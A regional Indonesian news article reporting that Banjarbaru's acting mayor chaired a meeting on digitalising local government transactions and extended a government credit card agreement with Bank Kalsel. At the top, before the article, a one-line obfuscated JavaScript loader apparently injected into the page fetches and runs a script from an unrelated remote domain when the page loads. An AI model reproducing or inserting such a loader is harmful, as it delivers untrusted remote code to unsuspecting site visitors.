(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Peta Jalan Elektronifikasi Transaksi, Pjs Wali Kota Banjarbaru Pimpin HLM P2DD

KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP memimpin High Level Meeting (HLM) Percepatan dan Perluasan Digitalisasi Daerah (P2DD) Kota Banjarbaru, di aula BPKAD Kota Banjarbaru.

Kerja pertama itu dilakukan Pjs Wali Kota Banjarbaru setelah pengukuhan sebagai Pjs Wali Kota Banjarbaru oleh Gubernur Kalimantan Selatan H Sahbirin Noor di gedung Idham Chalid, Selasa (24/9/2024) siang.

HLM P2DD sekaligus penandatanganan perpanjangan Perjanjian Kerja Sama (PKS) antara Pemerintah Kota (Pemko) Banjarbaru dengan Bank Kalsel tentang penerbitan Kartu Kredit Indonesia (KKI) atau Kartu Kredit Pemerintah Daerah (KKPD).

Dalam penandatanganan PKS tersebut, Pemko Banjarbaru diwakili Kepala Badan Pengelolan Kekayaan dan Aset Daerah (BPKAD) Kota Banjarbaru Jainuddin selaku bendahara umum daerah. Sedangkan Bank Kalsel diwakili oleh Khairunnisa, Kepala Bank Kalsel Cabang Banjarbaru.

“Ini menjadi salah satu perwujudan rencana aksi terhadap peta jalan elektronifikasi transaksi Pemerintah Kota Banjarbaru tahun 2021-2025,” ujar Pjs Wali Kota Banjarbaru.

Dia berharap HLM P2DD tersebut, percepatan implementasi transaksi belanja daerah melalui fasilitas KKPD dapat segera diterapkan pada Pemko Banjarbaru.

Menurut Pjs Wali Kota, penggunaan fasilitas KKPD dapat mengakselerasi transaksi yang dilakukan oleh SKPD di lingkup Pemko Banjarbaru. Sehingga belanja daerah menjadi lebih efektif dan efisien, dan transparansi penggunaan anggaran menjadi lebih baik karena ada pencatatan transaksi yang jelas.

“Tahun Anggaran 2024 ini yang menjadi pilot project penerapan KKPD adalah BPKAD Kota Banjarbaru,” sebutnya.

Penguatan teknologi digital dalam transaksi di lingkungan pemerintah daerah, membutuhkan peran aktif dari Tim Percepatan dan Perluasan Digitalisasi Daerah (TP2DD) Kota Banjarbaru.

Karena, kata dia, implementasi digitalisasi dalam ekosistem keuangan daerah saat ini telah menjadi suatu kebutuhan untuk menyesuaikan perkembangan zaman.

“Terutama dalam mendukung tata kelola keuangan daerah yang efektif dan efisien, guna meningkatkan kualitas pelayanan publik dan mewujudkan kesejahteraan masyarakat,” tandasnya. (Kanalkalimantan.com/rls)

Reporter: rls
Editor: kk